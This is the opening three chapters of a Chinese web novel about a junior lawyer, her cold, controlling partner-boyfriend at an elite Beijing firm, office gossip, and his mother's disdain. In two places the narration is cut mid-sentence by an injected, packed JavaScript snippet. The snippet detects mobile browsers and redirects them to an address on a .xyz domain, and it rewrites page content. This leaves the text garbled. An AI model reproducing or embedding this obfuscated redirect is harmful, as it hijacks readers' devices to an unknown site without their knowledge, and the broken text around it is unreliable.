《故鱼逢江》 1. 第 1 章 第1章 “叮叮叮——叮叮叮——” 床头的手机连响带震,连木质床头柜都跟着嗡嗡。 夏稚鱼脆弱的神经瞬间惊醒,几乎是电话响起第三声时,她光速从床上弹起身子。 眼睛还没睁开,电话先拿在手上——清嗓子,接电话,语气温和声调恭敬, “您好,这里是华万律师事务所的夏稚鱼,请问您是?” 华万律师事务所作为国内顶尖的公司制律所之一,涉及的业务领域包括但不限于房地产、公司并购、国际贸易、投资等等,是法学从业人士削尖了头想挤进的红圈所。 这里几乎凝聚了北城最精英的一批律师,每个人的履历单拿出来都可谓是精彩纷呈。 除了夏稚鱼。 她能进华万只是因为她走大运跟江知砚谈上了恋爱。 但截止到今天,也就是2025年6月16日,夏稚鱼今年只见过江知砚十五天。 其中有三天还是团队出差。 下一秒,闹钟叮叮咚咚的响起。 夏稚鱼长舒一口气。 原来是做梦。 最近挨骂挨太多了,连做梦都在挨骂。 夏稚鱼倒在床上,举高手机,习惯性的依次点开邮箱、微信、企业微信,逐个检查有没有紧急到让她现在就得下床的任务。 翻了一圈,没有紧急消息。 夏稚鱼脸上升起一丝劫后余生的喜悦,当即立断瘫回床上。 五分钟过去了,手机叮咚响了一声,夏稚鱼应激了似的睁开眼,神色怨怼。 手机屏幕晦气地弹出两条消息—— “八点半开组会。” 江知砚发的。 一条是对团队里通知,一条是私发给她的。 转发过来的标点符号都一模一样。 没有一句多余的问候。 电话铃声忽然彻响,江知砚几个字在屏幕上亮起,夏稚鱼心头一跳,缓了片刻才接起电话, “你出门了吗?” 微弱的电流声使得江知砚的声音听起来越发冷淡,隐约还能听到敲键盘的声音。 “没有。” 夏稚鱼有些紧张,握着电话的掌心变得黏腻。 “那我回来接你,十五分钟就到。” 说完他就挂了电话。 江知砚作为华万有史以来最年轻的合伙人,他从伦敦政经毕业后,仅用三年时间带领团队处理超过数个涉案金额超百亿的跨国公司并购项目。 只要是他经手的案例无一败绩,并且成功将华万的业务从亚太圈拓展到欧美,促使华万一跃而成全国乃至亚洲最出名的律所。 简洁、高效、冷漠,是江知砚一贯的作派,无论是在工作还是生活。 不,夏稚鱼看着镜子里脸色苍白的自己,笑容苦涩。 现在的江知砚,生活和工作已经完全融为一体了。 十五分钟,她准时下楼,低调奢华的银灰色雷克萨斯停在最靠近电梯的车位,一尘不染的车标闪闪发光。 车亮起双闪,司机小张探出头来跟她招手。 夏稚鱼绕到江知砚不常坐的右侧,拉开后座门。 男人西装笔挺,剪裁利落,精美的袖口和领带夹闪烁着资本家的冷光,头发整齐的用发蜡抓在脑后。 车里开了阅读灯,冷光斜斜映在江知砚脸上,显得他五官越发锋锐立体,神色冷峻,标准的业界精英模样。 也是她学不来的模样。 夏稚鱼动作很轻的合上车门。 江知砚在笔记本上敲完了整句话,他合上电脑,偏头看向她,声音听起来好似比刚在电话里温和了些, “吃早饭了吗?” 家里有阿姨,每天早晚做两餐,夏稚鱼之前总赶时间工作不吃早饭,后来身体出了问题,才开始按时认真吃饭。 “没来得及吃,等会去律所楼下买个早饭。” 江知砚嘴唇抿成一条直线,“外面的饭不干净。” “又吃不死,你不也天天在外面吃饭。” 夏稚鱼不咸不淡的怼了回去。 她当然是对江知砚有怨言的,哪有人出差三个月,微信除了用来给她发跟工作有关的事情之外其他什么都没有,这还叫谈恋爱吗? 江知砚脸色变得难看,放着家里好好的饭不吃,非要给自己找病生,他扯扯唇角,不悦地偏过头。 电脑屏幕的冷光重新亮起,耳畔时不时传来敲键盘的声音。 除此之外,车内一片死寂。 还吃早饭,夏稚鱼看着窗外飞速掠过的景色,心头像是破了个洞似的呼呼灌着冷风。 十五分钟就下楼她哪有时间化妆吃早饭。 迟到是女朋友的特权,而非下属。 这是江知砚当着项目组所有人的面,皱着眉头警告她的。 夏稚鱼至今都记得臊气轰的一下袭上脸颊的感觉。 同事们窃窃私语时不自觉瞟向她的眼神简直像针尖刺进她的心底。 自那之后,夏稚鱼牢牢记着这一点。 工作是工作,生活是生活,工作期间的江知砚只是她的老板。 不管这个工作期间到底有多漫长。 “这次星原和云程的并购项目,你材料审查做的怎么样了?” 江知砚头也不抬的问道。 “草稿和问题清单已经交给宋钰了,股权转让协议和投资协议还在整理。” “怎么是交给宋钰?”江知砚终于舍得放下手里的电脑, “他最近不是在跟吉源的案子吗?云程的并购项目负责人不是我吗?” 反问的语气说出了质问的腔调。 夏稚鱼懂了,他是在怪她草稿交错了人。 “稍等,我核实一下。” 夏稚鱼从包里取出电脑,打开工作记录核对。 江知砚眼神落在了她背的包上,Dior的托特包,不是他买的。 但很眼熟,每次在律所或者朋友圈聚会中看到夏稚鱼时,她总背着这个包。 他买了那么多给她撑场面的包,生怕她在参加会议或者带案子时被瞧不起。 可那些跟他从全国各地一起飞回来的昂贵奢侈品最后的结果无一例外都是躺在架子上吃灰。 也不知道她怎么想的,律师这一行有多重视行头她自己又不是不知道。 虽然穿着打扮不会影响律师的工作能力,但却会影响客户对你的看法,继而影响律师在案件中的话语权。 可夏稚鱼在这些事情上异常固执的不接受他的好意,天天守着她那点微不足道的小小自尊负隅顽抗。 典型的穷人思维,固执到愚蠢。 就算是金子也要光照下才能发光,她连灯都不愿意打开,怎么发光? 夏稚鱼这种人生态度到底什么时候才能有所改变。 江知砚心头不快,脸上自然而然带上了点情绪,压迫感十足。 夏稚鱼点开电脑上的工作记录,里面清清楚楚的记着宋钰说让她把草稿整理好之后先发给他。 “这个宋钰又在搞什么名堂”,江知砚一目十行看完,皱着眉头吩咐道:“下次这种已经组建好团队的工作你直接交给主办律师就好。” “好的。” 气氛沉寂下来。 车停下,江知砚刚想开口跟夏稚鱼说下午一起吃饭,还没来得及开口,夏稚鱼已经下了车,礼貌的跟他点点头,然后迅速的合上车门。 纤细的身影淹没在斑马线上的人群里。 车子重新发动。 江知砚语气重了几分, “怎么不直接开到律所楼下?” 司机少见一向冷静自持的老板这副模样,他迟疑片刻后回复道: “您之前强调过,如果送夏小姐一起的话先停在路对面,为了避嫌。” 司机说的委婉,太久没回国,江知砚差点都忘了还有这么一回事。 当时是夏稚鱼刚参加工作,他要确保夏稚鱼在办公室不会因为他的关系而获得什么特殊对待,所以刻意在所里跟夏稚鱼保持了距离。 江知砚透过茶色车窗看向熙熙攘攘的人群,过了好半响才道: “以后不用了。” -- 夏稚鱼把包放在工位上,这个点还早,大部分到的都是实习律师和实习生,执业律师一般没有事情不会来律所。 律所有钱,开水间很大,咖啡茶水在外侧,零食果汁热水在里侧,中间隔了道门槛。 打工人的早晨需要一杯咖啡来激活,但夏稚鱼刚做完手术不久,医生叮嘱她少喝咖啡茶叶这种提神醒脑的东西,要保持良好充足的睡眠。 夏稚鱼咽下医生开的保健品,垂眼看着杯子里的水一点点填满。 外间传来兴奋的讨论声。 “你早上也看到了?” “那肯定的,我对天发誓她绝对是从老板车上下来的。” “赵律说的是真的啊。” “那你以为呢,要不然凭她一个非法本的双非研究生怎么能进到咱们所。” “所以她是老板娘?老板娘还只背个Dior的托特?穿899的职业套装?她那身衣服我在淘宝看过,618打折下来899。” “什么老板娘,要真是老板娘她能到现在还只是个律师助理?我觉得顶多是个小蜜。” “确实,我上次还看到她被杨律狠狠训了一顿,头都不敢抬,连着几天加班到十二点才把问题解决了。” “这个我知道,好像不是她的问题,她替人背锅了,替那个空降的大小姐实习生背的锅,据说大小姐是某个大佬的独生女,和咱们老板家里有联姻意向呢。” “强强联合啊,真的假的?” “我也是听赵律上次喝多了说的,他不让我说出去,感觉应该是真的。” “当然是真的,我听我爸说过这件事,那位大小姐她爹据说看上咱老板很久了。” 几道心照不宣的哄笑声响起。 …… 夏稚鱼等着外间的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270487|182277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音静下来许久后才端着水杯回到了自己的办工作。 她僵着后背的坐在凳子上,耳畔响起刺耳嗡鸣,仿佛有无数道看笑话的视线落在她后背,烫的夏稚鱼大脑一片空白。 她打开word文档,可浑身无力,手指发软到一个字都敲不出来。 八点半,会议室。 高大的落地窗外可见层层叠叠的云彩,远处的电视塔清晰可见。 夏稚鱼抱着电脑敲敲打打,手机放在一侧,屏幕漆黑,没有一条消息。 会议室里坐满了人,律师们手机从不静音,故而整个会议室里都回荡着打字和来消息的声音。 叮叮咚咚的响着,唯独她的手机静悄悄。 想都不用想这些人又在拉小群讨论些什么。 夏稚鱼本来以为自己进办公室后会尴尬的连头都抬不起来。 但目前来看,她的抗压能力在江知砚的锻炼下的确是有显著的进步了,至少她现在还能岿然不动的坐在凳子上,假装自己只是有钱人爱情paly中的一环。 会议如期开始,江知砚点开PPT, “目前,我们已初步完成了公司治理结构、重要合同、员工情况、税务及知识产权模块的文件审阅。数据合规方面,根据我们与目标公司法务的沟通,云程涉及大量欧洲用户数据,适用GDPR,从DD来看,云程的数据处理流程存在一定的披露瑕疵,后续应列入SPA的陈述与保证条款中。” “此外,云程与一家法国供应商签署有战略合同,存在变更控制限制,需提前取得该方同意,可能影响交割条件……” 所有人的目光都聚集在江知砚的身上,他在这一众律师里工作年限不算长,但经他手的案件可不算少,得益于常年不回家的好处,江知砚积累了丰富的工作经验。 夏稚鱼头也不抬的认真记笔记,这次DD是她做的,江知砚说的好几个点她当时都没有注意到,律师这个职业主要凭借经验,实务工作可以获得经验,深入学习也能,她现在没有单独带团队处理案件的能力,学习就显得格外重要。 …… “OK,散会。” 夏稚鱼看了眼表,九点零八,运气好的话她还能赶上楼下食堂里的包子店。 “夏律,你留一下。” 整个项目组只有夏稚鱼一人姓夏。 江知砚这话一出,众人的眼神不自觉的又飘到了夏稚鱼身上。 好奇的、打量的、鄙夷的、厌恶的……什么都有,唯独没有欣赏。 夏稚鱼僵在原地,用力攥了攥手里捏着的中性笔,每一根头发丝都在用力抗拒留下。 但这个月的工资还没发。 夏稚鱼一屁股坐回了座位上。 会议室里很快就剩下了她和江知砚,最后一个人走时还贴心的带上了门。 “你还要闹到什么时候?” 江知砚单手扯松领带,眉头压低,蕴着浓郁的不悦之色。 “我闹什么了?” 夏稚鱼黑白分明的漂亮眸子静静的盯着江知砚。 “不就因为辞职这件事。” 江知砚扯起唇角,笑容不见眼底, “你既然想辞职,那你说说你辞职后打算干什么,法务?考公?你有职业规划吗?你考虑过你的未来吗?” “你从华万离职找好下家了吗?” 一连串的质问像是尖刀刺进夏稚鱼心里,如鲠在噎。 想解释的话忽然说不出口了。 江知砚乘胜追击,冷声道:“你要是真不想做律师,我给你安排了两个企业合规的工作,还有法务,具体内容我发给你邮箱,你挑两个走个流程就好。” “这都是很适合你的工作。” 强势、冷漠、要把所有的不可控因素牢牢掌握在手心里,江知砚从来没问过她为什么想辞职,他只会一意孤行的按照自己的想法强势安排她的生活。 他甚至都没有多问一句她到底在因为什么生气。 夏稚鱼感到浓重的窒息。 “啪——” 又一只笨鸟撞在了58楼的玻璃上。 蠢透了。 夏稚鱼面无表情的看了眼窗外,像是看到了自己一次又一次撞在江知砚这张南墙上,直到磕的自己头破血流,才后知后觉的意识到了疼。 “适合你大爷的。” 突兀的脏话在空气中响起,冷飕飕地扎进江知砚耳畔,他诧异地挑高眉头,刚想说些什么。 夏稚鱼冷静的可怕,她把笔记本放在桌子上,转手拎起包,劈头盖脸地砸在江知砚身上, “你自以为是的做这些事情之前有没有一秒想起来要问一下我,我才是当事人。” “你是嘴瘸了不会打电话,还是手断了打不了字。” “你以为你是谁,封建大爹吗。” 会议室门啪的一声合上。 空调吹出的冷气从脸上淌过,江知砚碰了碰泛起刺痛的皮肤。 低头,瞳孔里映出指尖上的血迹。 2. 第 2 章 第2章 “不好意思小姐,您这边没刷上,请重新刷一下。” “……” 夏稚鱼低头看了眼微信余额,“刷支付宝可以吗?” “可以的。” 一声叮过后,屏幕上出现支付成功几个字。 支付方式——妈妈的亲情卡。 亲情卡是大学的时候妈妈给她弄的,妈妈怕夏稚鱼有临时要花大钱又联系不上她,就开了张亲情卡,作为生活费的补充,直到现在也没取消,消费上限还是五千块。 十、九、八…… 还没等夏稚鱼倒数完十个数,手机屏幕弹出来夏妈妈的视频邀请。 夏稚鱼抿了抿干涩的唇瓣,点下接听键。 “幺儿,没钱了嘛,妈妈给你银行卡转了一万块,不够花跟妈妈讲哦。” “妈你转这么多干嘛,我马上就发工资了”,夏稚鱼转身坐在了便利店门口的遮阳伞下。 “你那点工资在北城哪里够花的噻,你爸这个月学校发了奖金,你该吃吃该喝喝,别委屈自己啊。” 夏稚鱼爸爸是高中数学老师,工资每个月五千左右,去年是高三班主任,高考出了个全省前一百,她爸能拿到一万二的奖金,学校发钱磨蹭,奖金刚拿到手还没捂热,就让妈妈转给了夏稚鱼。 妈妈是开早餐店的,每天三点不到就要起床,和面拌馅蒸小笼包,一笼包子五块钱,妈妈勤勤恳恳干一天挣不到一千块,刨掉水电、房租、燃气、人工、材料成本,净利润不到四百,一万块妈妈得不停不歇的挣一个月。 聊了没两句,屏幕里挤进来了张消瘦带笑的脸。 两个月没回家,她爸看起来又瘦了,下巴冒出来的胡茬和鬓角都是白的。 酸胀感从夏稚鱼胸口逐渐往上溢,挤压着心脏,呼吸都显得艰涩。 爸爸马上52岁了,妈妈已经51岁,已经是快退休的年纪,还要给她这个不成器的女儿托底。 要是没有她爸爸妈妈现在过得肯定很好。 夏稚鱼眼泪都要掉出来了。 她多没出息啊,夏稚鱼喉间哽的厉害,二十五岁的人了还要靠爸妈给钱。 “好嘛,我幺儿又要掉珠珠喽,想妈妈啦?你前几天不是说想吃香肠,新灌的腊肠晒好了,要不要妈妈给你寄过去点。” 才刚十点,太阳已经晒的人睁不开眼,夏稚鱼背对律所的位置,握着手机,抿着嘴,眼泪哗啦哗啦往下淌。 狼狈极了。 “幺儿不哭噻,啷个欺负我幺儿嘞?” 老夏急的方言都飙出来了,恨不得当即飞到北城。 * “711门口坐着的那个是小夏吗?” 陈越捣了把身旁的江知砚。 “不可能”,江知砚头都没回,“她现在在跟项目组其他人开会,刚出来的时候我看到我们组会议室灯亮了。” 陈越又回头望了两眼,越看越觉得像夏稚鱼,但江知砚语气信誓旦旦,他犹豫片刻,到底还是没再说什么。 * “……他们都特别讨厌,组长还给我穿小鞋,刚刚本来要开会,他们说会议室满了让我先处理其他的工作,但那个会议室明明挺大的,他们就是故意不想让我参加会议。” “他们把不想做的杂事推给我,我又不能拒绝,要不然就会被组长告状,说我工作态度有问题,我跟老板解释过两次,可他说这种办公室内部的纠纷我就该自己尽力去解决,而不是出问题就去找他。” 夏稚鱼用纸巾沾掉眼角的泪,她不敢撕心裂肺的哭,也不敢用力擦掉眼角的泪。 她皮肤薄,用力擦脸和擤鼻涕毛细血管容易裂开,如果脸颊上全是细细密密的红点,那别人一看就知道是哭过了。 要是被同事发现她因为职场上的矛盾和排挤在办公室楼下哭的稀里哗啦,夏稚鱼都不敢想他们会怎么嘲笑她。 而江知砚呢,江知砚只会让她调整好状态去解决矛盾。 江知砚从未遇到过这些毫无意义的办公室纠纷,所以他根本不能理解夏稚鱼为什么会因为昨天还在跟她一起吃午饭聊八卦的同事今天忽然阴阳怪气了她几句而纠结一整天。 ‘为什么要在乎那些无关紧要之人的想法,你不能一个人吃午饭吗?’ 江知砚诧异的眼神浮现在夏稚鱼眼前,她嘴一瘪, “我特别特别特别讨厌这里,我讨厌律所里的所有人。” 还没等到宋娟说话,手机屏幕上忽然弹出一个绿色来电。 备注是行政赵姐。 夏稚鱼心头一惊,匆匆清了清嗓子,接起电话时声音已经恢复如初。 打工牛马是这样,就算有天大的情绪,在发工资前几天都得忍下来。 “喂,小夏,你来我办公室一趟。” 夏稚鱼心头一慌,连忙打听到:“好我马上,什么事啊赵姐。” 上过班的都知道,职场上最恶心的人一般都是急事,尤其是跨部门急事,一般都不是什么好事。 “不是什么大事,你过来我们再说。” 夏稚鱼抿紧嘴唇,迅速掏出镜子补了补憔悴的脸色,期间还不忘给爸爸妈妈发消息解释了两句。 52楼,行政秘书办公室。 夏稚鱼有些紧张,她理了理衬衫领子,抬手敲了敲门。 “请进。” 声线利落陌生,夏稚鱼心头浮现不妙,一抬头,眼神就对上了正坐在落地窗前的江镜。 五十出头的江镜保养的极好,头发一丝不苟挽在脑后,踩着双红底Prada缎面高跟鞋,她礼貌地朝着夏稚鱼扯扯唇角,神色看不出喜怒。 在气场这方面,江镜和江知砚母子两人出奇一致,他俩单单只是坐在那里,就足以让人心头升起强烈的被压迫感。 夏稚鱼阖上门,紧张到口舌发干,嗓音也是干巴巴的, “早上好,江总。” “早,你先坐。” 江镜头也不抬,只不咸不淡的应了句,她端起桌上的咖啡,眼神落在手里的文件上。 夏稚鱼有些紧张的坐在她斜对面的单人沙发上。 直到文件看完,江镜才慢悠悠的看向夏稚鱼,眼神里满是审视, “你在网上经营了与法律无关的自媒体账号?” 夏稚鱼连忙解释道:“对,主要是一些旅游vlog,跟工作没关系的。” 只要不回忆她和江镜之前那次不算太愉快的谈话,夏稚鱼对江镜印象还是很好的。 华万目前持股最多的股东,北城大学刑法硕士,业内知名律师,主要从事家暴受害人案件,北城妇女法学研究会常务理事,北城律协婚姻家庭专业委员会…… 百度百科检索江镜这两个字后面跟着的后缀数也数不清,强大的让夏稚鱼根本升不起一点对她不满的心思。 “听说你本科专业就是影视传媒相关?” “是的,北传大的网络与新媒体专业。” “挺不错的学校和专业,怎么会想着来考法硕?” 夏稚鱼脑海中浮现出她第一次见江知砚时的场景,男人长身鹤立,站在演讲席前,慢斯条理的讲述着一个又一个他经手过的案件,像非自然死亡里的法医们一样,竭尽全力的追寻着他认知中的正义。 就那短短的两个小时,夏稚鱼只觉得自己被一只名为理想的利箭狠狠击中,穿透肺腑,扎在公义二字上。 况且江知砚西装革履,一派精英模样,在当时处于毕业迷茫期的夏稚鱼来讲,简直就是她梦寐以求的样子。 她也想那么运筹帷幄的实现自己对公平正义的梦想,也想事业人生双双获得成就,既然记者这条路走不通,那就换条路! 夏稚鱼顿觉豁然开朗,于是毫不犹疑地跳进名叫江知砚的小鱼诱捕器,直至今天。 但这些话在江镜面前是很难说出口的。 夏稚鱼犹豫片刻后道:“法硕好就业,而且这两年出现了很多交叉学科的案子,很多律所都愿意吸纳具有其他专业知识的法律硕士,我有本科专业背景在,不愁没工作。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270488|182277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “是吗?但我看你拍视频拍的很开心,分镜设计和拍摄运镜都很专业。” 江镜点开平板,首页上赫然是夏稚鱼上次跟朋友去西城度假的旅游vlog,这个视频在d站上火了,播放量已经超过八百万。 夏稚鱼一眼就看到了自己精心设计的小鱼进度条已经过了大半,看着屏幕上自己笑的没心没肺的样子,夏稚鱼耳根子都红透了。 她可是发个朋友圈都会屏蔽领导,拍的旅游vlog被领导刷到跟不穿衣服裸奔有什么区别…… 心头一千只尖叫的土拨鼠狂奔而过,夏稚鱼强作镇定, “我本科选修过相关课程,有一点相关经验。” “只是一点吗?”江镜点开她的主页,“我看你视频热度都不算太低,你这是打算发展副业吗?” 这时候的回答当然该是否定,没有哪个领导愿意听到自己员工还身兼数职,尤其是江镜本来就因为她和江知砚的事情不喜欢她。 夏稚鱼舔舔嘴皮,声音微哑, “对,我很喜欢拍视频记录生活,打算作为兼职长期干下去。” 江镜诧异地挑挑眉,她举了举手里的平板, “你这是打算当个小网红?当律师做不出成绩就开始发展网红事业?这么三心二意吗?” 说完,她像是被自己的想法逗乐了似的笑出声。 笑声刺耳,狠狠扎进夏稚鱼耳膜,刺的她神经疼的厉害。 “这个账号注销了吧,如果你觉得自己工作量不饱和,我可以给你多排几个案子。” “你们年轻人做事情就是容易好高骛远,总喜欢做些容易取的成就的事情,你在自媒体行业确实有几分运气,但别忘了,律师才是你的主业,你在其他杂事上花的心思越多,在主业上越不容易取得成就。” “你今年好歹也二十五了,孰轻孰重总是能分的清吧。” “你再这么下去,怎么配的上知砚。” ‘好高骛远’ ‘运气’ ‘杂事’ ‘配得上’ 一个个满是贬低的尖锐词汇像回旋镖一样扎在夏稚鱼这个靶子上,扎的她脑子里嗡嗡作响,一片空白。 夏稚鱼开始恨自己为什么这么懦弱,现在居然都没有胆量站起身来反驳江镜。 运气?有本事你凭运气给我变成十五万粉丝的网红。 这么会当爹怎么不去你儿子面前当爹,这么随便教训别人你觉得你礼貌吗? 我是你员工不是你孙子,刚喝咖啡那会的礼貌呢?跟着咖啡一起被你咽下去了吗? 呛人的话一次又一次涌上喉间又被咽下。 夏稚鱼沉默着聆听江镜的教诲。 窝囊一次就会有第二次,夏稚鱼工作之后在江知砚面前窝囊了无数次,也不缺在他妈面前的这一次。 江镜又抿了口咖啡, “有空跟人家妙琪好好学学,看看人家积极工作的态度,我记得你刚开始工作的时候还是有挺不错的热情的,怎么现在一点不剩了?” 热情?热情那都是资本家奴隶主们才有的,像她这种一个月累死累活挣万把块的社畜打工人还能有什么热情可言。 更别说江知砚有时候还要因为她工作失误扣她的工资,起扣二百,上不封顶。 她实习期最惨的一个月工资被扣到只剩下两千五,在北城这种物价奇高的城市,要不是爸妈的援助,她差点就要活不下去了。 每天背着电脑挤进早上八点塞满人的地铁罐头,睡眼惺忪的啃着楼下三块一个的茄子包。 中午点份二十块的双拼袁记云饺,都不舍得加八块换成蟹籽的,吃饱争分夺秒往凳子上一躺,生怕一会鼾声四起吵的自己睡不着觉。 晚上拖着疲惫的身体,丧眉搭眼的挤上末班地铁,争分夺秒刷几个短视频,回家倒头就睡。 月底一看工资条只想吐血。 这种时候跟她谈工作热情和理想? 她现在看到工作这两个字就只想作呕。 3. 第 3 章 第3章 “夏律,这是刚整理出的材料,赵律说让您补充完善DD。” 夏稚鱼刚回到自己工位上,组里新来的实习生抱过来了一沓证据和卷宗。 她大概翻了几页材料,内容都是环绕着江知砚刚才提出的几个重点问题,这些处理完之后她这一阶段的工作基本上就结束了。 这个国际并购的案子她跟进了快一年,都没休过长假。 结束之后就可以休息了吧,夏稚鱼心头浮现出些许期待。 期待感驱散心头阴霾,她笑吟吟的对实习生道: “辛苦你了,你是昨天才刚来实习的小王吧。” “对。” “刚好你过来了,喏,这是请你的咖啡”,夏稚鱼拆开外卖包装,“卡布奇诺和拿铁你更喜欢喝哪个?” “我吗?我都可以,谢谢夏律!” 实习生惊喜地接过了咖啡,单纯青涩的脸上浮现出受宠若惊的神情。 “最近太忙了,等忙完这几天赵律应该就会安排带你出去吃饭的事情了,你的带教是赵律吧?” “对,老师对我特别好。” 可能是刚毕业,学生思维还没转换过来,大部分实习生都习惯叫自己的带教律师为老师,夏稚鱼当时也跟着别的实习生这么叫过江知砚几次。 后来江知砚非让她在床上这么叫之后,她就再也不叫江知砚老师了。 夏稚鱼不敢想象自己白天叫江知砚老师时,这人脑子里面都是什么黄色废料。 可能是早上见过两次江知砚的原因,夏稚鱼今天总在想起江知砚。 她的带教是江知砚,江知砚会在她独立完成的每一份案卷上签名,细细批注她不确定的每一个点,龙飞凤舞的字迹伴随了她整个实习期。 直到现在。 夏稚鱼办公桌一角贴着好几张便签,是她刚开始工作时江知砚给她写的详尽版分析案件思路,重点步骤还用红笔勾了出来。 每次和朋友们聚餐时,江知砚几个发小就要取笑他带老婆就跟教学生似的,恨不得把自己所有的经验和知识掰开揉碎塞进夏稚鱼脑子。 当时可能是刚毕业,年纪小,也不知道累,她每天精力旺盛到可以做完所有的工作后晚上缠着江知砚给她讲案例。 夏稚鱼很清楚,她能在律师行业取得一定成就,绝大部分都是因为江知砚的耐心教导。 江知砚给她案源,一字一句教她如何跟客户交流,怎么收集证据、整理文书,她是江知砚一手教出来的学生。 她总会不由自主的试图依赖江知砚,就像是一株攀在江知砚身上的菟丝子。 之前每次加班到深夜身心俱疲时,夏稚鱼总骗自己说,江知砚愿意手把手教他肯定是因为爱她。 骗着骗着,她好像就真的这么相信了。 可这一年多来日复一日的冷遇终于让夏稚鱼明白。 像江知砚这样集万千宠爱于一身的贵公子,他可能根本就不懂什么叫做爱。 可夏稚鱼明白什么是真正的爱情,她爸爸妈妈就是最好的例子。 爱情是陪伴和互相依赖,而不是银行卡里飞涨的余额和昂贵首饰。 钱是补偿、是施舍,唯独不是爱。 浅浅伤感在心头蔓开,夏稚鱼敛下眉眼,微笑道:“好好珍惜实习期哦,等实习结束可有的忙了。” 她长得漂亮,杏眼桃腮,笑起来更是让人觉得如沐春风,实习生呆滞片刻,难以把眼前温和的大美女跟别人嘴里靠美色上位的小蜜联系在一起。 还不到五点夏稚鱼就处理完了自己今天的所有工作,走出电梯看到玻璃幕窗外白而亮的太阳光。 夏稚鱼忽然想起了自己刚进职场时总会被别人推过来的临时工作弄的头昏脑胀。 那段时间她不仅要完成自己的本职工作,还要帮别的执业律师整理文书,忙的像个陀螺。 她不是没想过拒绝,但拒绝的话每每到了嘴边,总会被打断。 在这种事情上,江知砚从不帮她。 直到她因为帮别人做事情导致自己本职工作出了明显问题后被江知砚亲手扣了工资。 实习律师工资本来就不多,一想到自己辛辛苦苦一个月最后只到手不足三千块。 夏稚鱼吧哒吧哒的掉着眼泪。 江知砚把工资条推到她眼前,漆黑眼眸冷酷无情, “你现在学会怎么拒绝别人了吗?” 在职场上充当老好人的代价就是背最多的锅,拿最少的工资。 当天晚上夏稚鱼就拒绝让江知砚上床。 认识江知砚的这几年里,夏稚鱼学会了很多为人处世的技巧,从笨拙到游刃有余,托举她的一直都是江知砚。 可被江知砚爱的感觉太累了。 得不到正向反馈的工作,不能公开的恋情,永远冷淡的回复。 还有她不被尊重的选择。 江知砚总是强势的安排夏稚鱼的生活。 她连说不的权利都没有。 滚烫的热风扑面而来,天空碧蓝,翻着几朵大团云彩。 靠近办公楼这边的马路上停下辆熟悉的车子,是江知砚在北城专用的迈凯伦。 夏稚鱼忽然想起,说来可笑,其实在她的人生中,最先用优越感使得她意识到自己穷但漂亮的不是江镜,也不是刘妙琪或者同事,而是江知砚。 大概在两年前,江知砚还没决定去美国出差前的某个晚上,夏稚鱼问江知砚,他为什么喜欢自己? 江知砚散漫的偏过头,他看着夏稚鱼,琥珀色的瞳孔盛着醉人的柔情蜜意,专注的仿佛他的世界里只剩下夏稚鱼一人似的。 他说:“因为鱼鱼很漂亮,漂亮的鱼鱼配得上最豪华的鱼缸。” 语气含着笑意,像是在开玩笑。 当时的夏稚鱼只注意到了江知砚夸她漂亮,甚至暗自窃喜了一段时间自己的美貌。 可江知砚选择出长差之后,夏稚鱼总在每一个江知砚不在的夜晚、总在父母询问自己什么时候带男朋友回家时想起这句话。 她只是漂亮吗? 他只是因为她漂亮的足以装点他的鱼缸吗? 她没有别的优点了吗? 哪怕说她一句性格好呢。 热恋期还能问的出口的问题,夏稚鱼现在已经说不出口了,或许是因为她已经猜到了答案,或许是因为答案已经不再重要。 灰姑娘的童话不会在现实上演,她跟这些有钱人天生就有壁。 就连夏稚鱼自己都想不明白为什么她一边觉得自己和江知砚这种顶级有钱人不会有未来,一边仍抱着微末幻想竭尽全力想留在江知砚身边。 为了什么? 为了现在眼睁睁看着刘妙棋从江知砚车上下来吗? 江知砚车停在路边时的幻想像是猝不及防的一巴掌,狠狠抽在夏稚鱼脸上,抽的她仓促转身,直奔地铁站。 夏稚鱼要脸,她的自尊心不允许她继续去想江知砚到底在和刘妙琪说些什么。 她已经够狼狈了,夏稚鱼不想让自己在爱情里原本就不平等的位置越发低。 只能像缩头乌龟似的遁入自己的躯壳内。 不去看,不去想,假装不知道,骗自己江知砚肯定是有工作上的事情要跟刘妙琪沟通。 可刘妙琪不自觉往主驾车窗那边倾斜的身影像是浓硫酸一样腐蚀着夏稚鱼的心。 六月的北城街道闷热的堪比蒸笼,黏腻的热气裹着皮肤,呼吸都是潮热的湿气。 手机铃声催命似的响起,是江知砚。 喉咙口忽然干涩发疼,被夏稚鱼强行遗忘到脑后的场景又浮现在眼前。 她不自觉攥进扶手,指尖用力到发白。 地铁里很吵,信号时有时无,江知砚的声音在此刻显得越发冷漠,隐约还夹杂着不悦, “不是跟你发了消息说让你等我?怎么走的这么早。” 夏稚鱼翻出微信,这才看到江知砚中午的时候给她发消息说晚上等他一起回家,他订了一家很难约的餐厅。 她当时忙着处理工作,一看是江知砚的消息她就懒得回,也没仔细看是什么内容,随手就划掉了。 但江知砚意念回复她的次数还少吗? 夏稚鱼有模有样地学着江知砚的语气淡淡回复道:“中午忙着工作,看到忘回了。” 她正等着江知砚不高兴的切掉电话,江知砚的臭脾气她可太了解了,一有不顺心的就挂她电话,等着她去哄他。 夏稚鱼追他的时候没少哄着江知砚。 但现在她可不会哄着他了,最好这狗男人今天连家都别回,继续住他的酒店去,让她一人独享两米五的大床。 “那你现在在哪?我开车去接你。” 江知砚难得放低了声调。 